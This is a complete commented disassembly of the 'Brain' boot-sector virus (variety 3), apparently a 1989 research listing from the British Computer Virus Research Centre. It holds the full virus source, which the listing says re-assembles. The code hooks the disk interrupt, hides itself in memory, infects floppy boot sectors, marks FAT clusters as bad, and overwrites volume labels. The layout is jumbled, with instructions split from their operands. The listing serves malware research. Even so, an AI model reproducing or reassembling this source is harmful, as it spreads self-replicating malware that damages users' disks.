page ; ; ; ; ; ; ; ; ; ; ; ; ;
65,132 title the 'brain' virus - variety 3 ??????????????????????????????????????????????????????????????????????????? ? british computer virus research centre ? ? 12 guildford street, brighton, east sussex, bn1 3ls, england ? ? telephone: domestic 0273-26105, international +44-273-26105 ? ? ? ? the 'brain' virus - variety 3 ? ? disassembled by joe hirst, july 1989 ? ? ? ? copyright (c) joe hirst 1988, 1989. ? ? ? ? this listing is only to be made available to virus researchers ? ? or software writers on a need-to-know basis. ? ??????????????????????????????????????????????????????????????????????????? ; ; ; ; ;
the virus consists of a boot sector and six consecutive sectors on a 360k floppy disk. these sectors are flagged as bad clusters in the fat. the first of these sectors contains the original boot sector, and there is a pointer to this sector in the boot sector. the other sectors contain the rest of the code.
; the disassembly has been tested by re-assembly using masm 5.0. ; the program requires an origin address of 7c00h for the first sector ; to load and run as a boot sector. ram
segment at 0 ; system data
org bw004c bw004e org bw01b4 bw01b6 org bw0413
4ch dw dw 1b4h dw dw 413h dw
? ?
; interrupt 19 (13h) offset ; interrupt 19 (13h) segment
? ?
; interrupt 109 (6dh) offset ; interrupt 109 (6dh) segment
?
; total ram size
ram
ends
code
segment byte public 'code' assume cs:code,ds:code
start: jmp dw inihed initrs curhed curtrs
cli bp0010 1234h db dw db dw
; identification word 1 4 0 1
db
4 dup (0)
db
'welcome to the
; ; ; ;
dungeon
initial initial current current
head number track and sector head number track and sector
(c) 1986 ashar &'
db db db db db db
' ashars (pvt) ltd virus_shoe record ' 'dedicated to the dynamic memories of millions of' ' virus who are no longer with us today - thanks ' 'goodness!! beware of the er..virus : \thi' 's program is catching program follows after' ' these messeges..... $#@%$@!! '
; initial load of rest of virus bp0010: mov mov mov sti mov mov mov mov call mov mov bp0020: call add loop
mov ax,cs ds,ax ss,ax sp,0f000h
; \ ; ) make segment registers same as ds ; /
al,inihed+7c00h curhed+7c00h,al cx,initrs+7c00h curtrs+7c00h,cx bp0060 cx,5 bx,7e00h call bp0030 bp0060 bx,200h bp0020
; get initial head number ; save as current head number ; get initial track and sector ; save as current track and sector ; address to next sector ; number of sectors to read ; address to end of first section ; read a sector ; address to next sector ; address up length of sector ; read 5 sectors
; hide virus in top part of memory mov sub mov mov shl mov mov mov mov cld repz push mov push retf
ax,bw0413 ax,7 bw0413,ax cl,6 ax,cl es,ax si,7c00h di,0 cx,1004h
; ; ; ; ; ; ; ; ;
get total ram size subtract 7k replace total ram size number of bits to move convert to segment address load new segment address load current offset load target offset load length to move
movsb es ax,offset bp0080 ax
; ; ; ; ;
move to new location push new segment offset of second section push new offset transfer control to second section
; read routine for initial load bp0030: push mov bp0040: mov int jb mov mov mov mov int
push cx bx cx,4 push cx ah,0 13h bp0045 dh,curhed+7c00h dl,0 cx,curtrs+7c00h ax,201h 13h
; number of retries ; save number of retries ; reset disk sub-system ; disk i/o ; branch if error ; get head number ; drive a ; get current track and sector ; read one sector ; disk i/o
jnb bp0045: loop int
bp0050 pop cx bp0040 18h
; ; ; ; basic
return if no error recover number of retries retry loader
; return for initial load routine bp0050: pop pop ret
pop bx cx
cx
; address to next sector (initial load) bp0060: inc mov cmp jne mov mov inc mov cmp jne mov inc bp0070:
mov al,byte ptr curtrs+7c00h ; get current sector al ; increment current sector byte ptr curtrs+7c00h,al ; replace current sector al,0ah ; test for past last sector bp0070 ; return if not byte ptr curtrs+7c00h,1 ; set sector to first al,curhed+7c00h ; get head number al ; increment head number curhed+7c00h,al ; replace head number al,2 ; test for past last head bp0070 ; return if not curhed+7c00h,0 ; set head number to zero byte ptr curtrs+7c00h+1 ; address next track ret
; rubbish at the end of first sector db db db
05eh, 0fah, 08ah, 047h, 008h, 02ah, 0e4h, 040h 050h, 0e8h, 04dh, 049h, 083h, 0c4h, 006h, 02bh 0c0h, 050h, 08bh, 05eh, 0fah, 0ffh, 077h
; end of first sector, start of second bp0080: db db ifncnt drivno
jmp
short bp0090
'(c) 1986 ashar & ashars (pvt) ltd ' 0 db db
4 1
; count ; drive number
; install interrupts assume ds:ram bp0090: mov ifncnt,1fh xor ax,ax mov ds,ax mov ax,bw004c mov bw01b4,ax mov ax,bw004e mov bw01b6,ax mov ax,offset bp0120 mov bw004c,ax mov ax,cs
; ; ; ; ; ; ; ; ;
; set up initial count \ address zero / get int 13h offset store as int 6dh offset get int 13h segment store as int 6dh segment get address of int 13h routine put in int 13h offset get segment
mov
bw004e,ax
; put in int 13h segment
; read real boot sector and pass control mov xor mov bp0100: mov int jb mov mov mov mov mov int jnb bp0105: loop int
cx,4 ax,ax es,ax push cx ah,0 6dh bp0105 dh,inihed dl,0 cx,initrs ax,201h bx,7c00h 6dh bp0110 pop cx bp0100 18h
bp0110: dw
db 0eah 7c00h, 0
; number of retries ; \ set es to zero ; / ; save number of retries ; reset disk sub-system ; original disk i/o interrupt ; branch if error ; initial head number ; drive a ; initial track and sector ; read one sector ; boot sector buffer address ; original disk i/o interrupt ; branch if no error ; recover number of retries ; retry ; basic loader ; far jump to boot sector
nop ; interrupt 13h routine bp0120: cmp jne cmp ja cmp jne cmp je bp0130: jne
sti ah,2 bp0240 dl,2 bp0240 ch,0 bp0130 dh,0 bp0150 dec ifncnt bp0240
; test for read ; pass to bios if ; test drive number ; pass to bios if ; test track number 0 ; branch if not ; test head number 0 ; branch if yes ; decrement ; pass to bios if
not not floppy
count count not zero
; read boot sector into boot sector store bp0150: push push push push mov mov bp0160: mov int jb mov mov mov push
mov ifncnt,4 ax bx cx dx drivno,dl cx,4 push cx ah,0 6dh bp0170 dh,0 cx,1 bx,offset store es
; reset count to 4
; save drive number ; number of retries ; save number of retries ; reset disk sub-system ; original disk i/o interrupt ; branch if error ; head zero ; track zero, sector 1 ; address boot sector store
mov mov mov int pop jnb bp0170: loop jmp
ax,cs es,ax ax,201h 6dh es bp0180 pop cx bp0160 bp0210
; \ set es to cs ; / ; read one sector ; original disk i/o interrupt ; branch if no error ; recover number of retries ; retry
; see if already installed bp0180: mov cmp je
pop cx ax,word ptr cs:store+4 ; get identification number ax,1234h ; see if already installed bp0220 ; branch if yes
; instal virus bp0190: push mov mov mov push call jb call bp0200: pop pop jnb bp0210: int bp0220: pop pop pop bp0240: retf db
push ds es ax,cs ds,ax es,ax si bp0640 bp0200 bp0480 pop si es ds bp0220 mov ah,0 6dh pop dx cx bx ax int 6dh 2
; \ ; ) make segment regs equal ; / ; write virus to disk ; branch if error ; process root directory
; branch if no error ; reset disk sub-system ; original disk i/o interrupt
; original disk i/o interrupt ; end of interrupt
12 dup (0)
; process disk before installing virus bp0250:
jmp
bp0260
freecl
dw
3
db
; consecutive free clusters
' (c) 1986 ashar & ashars (pvt) ltd'
assume
ds:code
; get fats bp0260: mov cmp
call bp0400 ; read fats ax,word ptr store ; get first word of sector ax,0fffdh ; start of fat
je mov stc ret
bp0270 al,3
; branch if the right format ; flag type of error ; indicate error condition
; find three consecutive entries bp0270: mov bp0280: cmp jne inc cmp jne jmp
mov cx,2 freecl,0 call bp0360 ax,0 bp0290 freecl freecl,3 bp0300 bp0310
; first cluster is two ; cluster count to zero ; get fat entry ; is cluster free ; branch if not ; add to found count ; have we got three ; branch if not ; flag the clusters
; not found yet bp0290: bp0300: cmp jne mov stc ret
mov freecl,0 inc cx cx,163h bp0280 al,1
; reset cluster found count ; next cluster ; have we reached the end ; process if not ; flag type of error ; indicate error condition
; mark clusters bp0310: bp0320: dec dec jnz inc call call mov clc ret
mov dl,3 call bp0330 cx dl bp0320 cx bp0460 bp0410 al,0
; ; ; ; ;
; cluster count ; mark cluster as bad back one cluster subtract from count ; process next back to first found cluster ; convert cluster no to address ; write fats type of error = none no error
; mark cluster as bad bp0330: push mov mov shr jb call mov and or jmp
push cx dx si,offset store al,cl al,1 bp0340 bp0390 ax,[bx+si] ax,0f000h ax,0ff7h bp0350
; address boot sector store ; copy entry number ; bottom bit to carry flag ; branch if entry is even ; calculate fat entry disp ; load entry ; clear fat entry ; bad cluster
; mark as bad, even number cluster bp0340:
call
bp0390
; calculate fat entry disp
mov and or bp0350: mov pop pop ret
ax,[bx+si] ax,0fh ax,0ff70h mov [bx+si],ax [bx+si+0400h],ax dx cx
; load entry ; clear fat entry ; bad cluster ; replace bad cluster marker ; and in the other fat
; get fat entry bp0360: mov mov shr jb call mov and jmp
push cx si,offset store al,cl al,1 bp0370 bp0390 ax,[bx+si] ax,0fffh bp0380
; address boot sector store ; copy entry number ; bottom bit to carry flag ; branch if entry is even ; calculate fat entry disp ; load entry ; isolate fat entry
; get fat entry, even number cluster bp0370: mov and mov shr bp0380: ret
call bp0390 ax,[bx+si] ax,0fff0h cl,4 ax,cl pop cx
; ; ; ;
; calculate fat entry disp load entry isolate fat entry number of bits to move align fat entry
; calculate fat entry displacement bp0390: mov mul shr mov pop ret
push dx ax,3 cx ax,1 bx,ax dx
; ; ; ;
length of 2 fat entries multiply by number divide by two save result
; read fats bp0400: call ret
mov ah,2 bp0420
; read sub-function ; read or write fats
; write fats bp0410: call ret
mov ah,3 bp0420
; write sub-function ; read or write fats
; read or write both fats bp0420: bp0430: push
mov push ax
cx,4 cx
; number of retries ; save number of retries
mov int pop jb mov mov mov mov mov push int pop jnb bp0440: loop pop pop mov stc ret
ah,0 6dh ax bp0440 bx,offset store al,4 dh,0 dl,drivno cx,2 ax 6dh ax bp0450 pop cx bp0430 ax ax al,2
bp0450: ret
pop
; reset disk sub-system ; original disk i/o interrupt
; ; ; ;
; branch if error ; address boot sector store 4 sectors head zero get drive number track zero, sector 2
; original disk i/o interrupt ; branch if no error ; recover number of retries ; retry ; flag type of error ; indicate error condition
cx
; convert cluster number to address bp0460: sub shl add mov mov div mov mov inc cmp jbe sub mov bp0470: pop ret db dskfnc regst1 regst2 regst3 regst4
push cx ; save cluster number cx,2 ; subtract 2 cx,1 ; double it cx,12 ; add 12 ax,cx ; save sector number cl,12h ; sectors per track (both sides) cl ; calculate track number byte ptr initrs+1,al ; save track number inihed,0 ; initial head number ah ; sectors start from 1 ah,9 ; is it head 0 bp0470 ; branch if yes ah,9 ; calculate sector number inihed,1 ; initial head number mov byte ptr initrs,ah ; initial sector cx 6 dup (0) db dw dw dw dw
3 303h 0dd3h 1 100h
; ; ; ; ;
disk i/o sub-function temporary register store temporary register store temporary register store temporary register store
(1) (2) (3) (4)
; this section decrypts to ' (c) ashar ' by taking the complement of ; each character and adding one dsklab db
db 0e0h, 0d8h, 09dh, 0d7h, 0e0h, 09fh, 08dh, 098h 09fh, 08eh, 0e0h
; process root directory bp0480: jb call jb call bp0490:
call bp0560 bp0490 bp0500 bp0490 bp0570 ret
; read root directory ; branch if error ; write root directory
; find volume label, or first unused entry bp0500: mov bp0510: cmp je mov and cmp je add dec jnz stc ret
mov byte ptr regst1,70h ; no of root dir entries si,offset store ; first directory entry mov al,[si] ; get first byte of entry al,0 ; is entry unused bp0520 ; branch if yes al,[si+11] ; get file attribute al,8 ; switch off all but vol label al,8 ; is entry a vol label bp0520 ; branch if yes si,20h ; address to next entry byte ptr regst1 ; deduct from entry count bp0510 ; process next entry ; indicate error condition
; unused entry or volume label found bp0520: mov bp0530: neg mov inc inc loop mov mov clc ret
mov bx,offset dsklab ; cx,0bh ; mov al,[bx] ; get next byte al [si],al si bx ; increment pointer bp0530 ; repeat for next character pair al,8 [si],al ; no error
; read root directory bp0560: jmp
mov dskfnc,2 bp0580
; read sub-function
; write root directory bp0570: jmp
mov dskfnc,3 bp0580
; write sub-function
; read or write root directory bp0580: mov mov mov mov
mov dh,0 dl,drivno cx,6 ah,dskfnc al,4
; ; ; ;
; head zero get drive number track zero, sector 6 get disk i/o sub-function four sectors
mov call jb mov mov mov mov add call bp0590:
bx,offset store bp0600 bp0590 cx,1 dh,1 ah,dskfnc al,3 bx,800h bp0600 ret
; ; ; ;
; address boot sector store ; disk i/o ; branch if error track zero, sector one head one get disk i/o sub-function three sectors ; address past 4 already read ; disk i/o
; disk i/o for root directory bp0600: mov mov mov mov bp0610: mov int jb mov mov mov mov int jnb bp0620: loop stc ret
mov regst1,ax regst2,bx regst3,cx regst4,dx cx,4 push cx ah,0 6dh bp0620 ax,regst1 bx,regst2 cx,regst3 dx,regst4 6dh bp0630 pop cx bp0610
bp0630: ret
pop
db numsec axstor
; \ ; \ save registers ; / ; / ; number of retries ; save number of retries ; reset disk sub-system ; original disk i/o interrupt ; branch if error ; \ ; \ restore registers ; / ; / ; original disk i/o interrupt ; branch if no error ; recover number of retries ; retry ; indicate error condition
cx
9 dup (0) dw dw
4 301h
; ax store (sub-function,
; write virus to disk bp0640: jb mov mov mov call mov mov mov mov mov call call mov mov
call bp0250 bp0660 curtrs,1 curhed,0 bx,offset store bp0670 bx,offset store ax,initrs curtrs,ax ah,inihed curhed,ah bp0680 bp0720 cx,5 bx,200h
; ;
; ; ; ; ;
; process disk ; branch if error current track and sector current head number ; address boot sector store ; read boot one sector ; address boot sector store initial track and sector current track and sector initial head number current head number ; write a sector ; get next sector number number of sectors ; address second sector
bp0650: call call add mov loop mov mov mov call clc bp0660:
mov numsec,cx bp0680 bp0720 bx,200h cx,numsec bp0650 curhed,0 curtrs,1 bx,0 bp0680
; ; ; ; ;
; save number of sectors ; write a sector ; get next sector number ; address next sector recover number of sectors ; repeat for five sectors current head number current track and sector address to beginning ; write 'boot' sector no error
ret
; read a sector bp0670: jmp
mov axstor,201h bp0690
; read one sector
; write a sector bp0680: jmp
mov axstor,301h bp0690
; write one sector
; read or write a sector bp0690: mov bp0700: mov int jb mov mov mov mov push mov mov int pop jnb bp0705: loop pop pop stc ret
push bx cx,4 push cx ah,0 6dh bp0705 dh,curhed dl,drivno cx,curtrs ax,cs es es,ax ax,axstor 6dh es bp0710 pop cx bp0700 bx bx
bp0710: pop ret
pop bx
; number of retries ; save number of retries ; reset disk sub-system ; original disk i/o interrupt ; branch if error ; current head number ; get drive number ; current track and sector
; get sub-function ; original disk i/o interrupt ; branch if no error ; recover number of retries ; retry ; indicate error condition
cx
; get next sector number bp0720: cmp jne mov
inc byte ptr curtrs ; current sector byte ptr curtrs,0ah ; current sector bp0730 byte ptr curtrs,1 ; current sector
inc cmp jne mov inc bp0730:
curhed ; current head number curhed,2 ; current head number bp0730 curhed,0 ; current head number byte ptr curtrs+1 ; current track ret ; disk input store
store equ code
$
ends end
start